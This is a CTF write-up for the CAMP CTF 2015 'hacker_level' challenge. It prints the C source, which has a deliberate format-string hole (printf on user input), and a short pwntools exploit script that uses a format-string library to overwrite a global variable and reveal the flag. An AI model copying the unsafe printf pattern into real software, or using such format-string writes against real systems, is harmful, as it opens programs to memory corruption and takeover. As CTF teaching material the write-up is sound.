CAMP CTF 2015: Hacker Level

Overview

hacker_level is a CTF challenge that took as input a string (presumably the person’s name) and echo’d a welcome message back. It then performed a series of calculations on the name, which proved pointless as the final check would always fail given those constraints.

The challenge is clearly to utilize the blatant format string vulnerability to get to the part of the code that prints success.

Example:

$ ./hacker_level
What's your name? %x
Hello, 40
Sorry, you're not leet enough to get the flag :(
Your hacker level is: 0x3db5

Source Code

This is the source code for the challenge:

#include <stdio.h>
#include <stdint.h>
#include <unistd.h>

static uint32_t level = 0;
static void calc_level(const char *name);

int main() {
      char name[64] = "";

      setbuf(stdin, NULL);            // turn off buffered I/O
      setbuf(stdout, NULL);

      printf("What's your name? ");
      fgets(name, sizeof name, stdin);

      calc_level(name);

      usleep(150000);
      printf("Hello, ");
      printf(name);

      usleep(700000);
      if (level == 0xCCC31337) {
              FILE *f = fopen("flag.txt", "r");
              if (f) {
                      char flag[80] = "";
                      fread(flag, 1, sizeof flag, f);
                      printf("The flag is: ");
                      printf(flag);
                      fclose(f);
              } else {
                      printf("I would give you the flag, but I can't find it.\n");
              }
      } else {
              printf("Sorry, you're not leet enough to get the flag :(\n");
              usleep(400000);
              printf("Your hacker level is: 0x%x\n", level);
      }

      return 0;
}

static void calc_level(const char *name) {
      for (const char *p = name; *p; p++) {
              level *= 257;
              level ^= *p;
      }
      level %= 0xcafe;
}

The Vulnerability

This program is clearly vulnerable to a format string attack. Further, to get to the winning path it checks a global variable against the value 0xCCC31337. Since the calc_level function mods the result to less than a word length, this path will never hit without exploitation.

Step 1: exec_fmt

The first step in using the FormatString class is to create an exec_fmt function. This function will take in any arbitrary input, pass that input into the application properly, parse the results and return the results back. At this point, we’re not worried about exploiting the vulnerability, we’re simply interacting with the program.

def exec_fmt(s,echo=False):
    #  Open up pwntool process class to interact with application
    p = process("./hacker_level",buffer_fill_size=0xffff)
    # Go ahead and send our input
    p.sendline(s)
    # Throw out data that we know to be before our results
    p.recvuntil("Hello, ",drop=True)
    # We could do better here, but why? Just grab all the rest of the data.
    out = p.recvall()
    # For diagnostic reasons, we can print out the output
    if echo:
        print(out)
    # Since we're running this every time, close out the proc.
    p.close()
    return out

That’ll do. That’s the majority of your work right there.

Step 2: Instantiate Class

Next, we need to instantiate a FormatString class. This can be done strait forward. To make it simpler, we’ll also open an ELF class on the exe.

from formatStringExploiter.FormatString import FormatString
from pwn import *

# Load the binary in pwntools. This way we don't need to worry about the
# details, just pass it to FormatString
elf = ELF("./hacker_level")

# Now, instantiate a FormatString class, using the elf and exec_fmt functions
fmtStr = FormatString(exec_fmt,elf=elf)

You will see some data scroll. This is the FormatString class attempting to discover your buffer for you. Finally, you’ll see something like this:

Found the offset to our input! Index = 7, Pad = 0

Good to go now. It has found the buffer, we can simply ask the class to perform actions for us now.

Step 3: Write the Value

We now have a functional and initialize FormatString class. We also know from the source code that we would like the variable named “level” to be equal to 0xCCC31337. Let’s ask FormatString to do just that. In this case, we will set the echo option to True so that we can see the output since the application exits immediately.

fmtStr.write_d(elf.symbols['level'],0xCCC31337)

That’s it. Your flag is printed. If this were the CTF, you could change process to remote and run it again to grab the flag.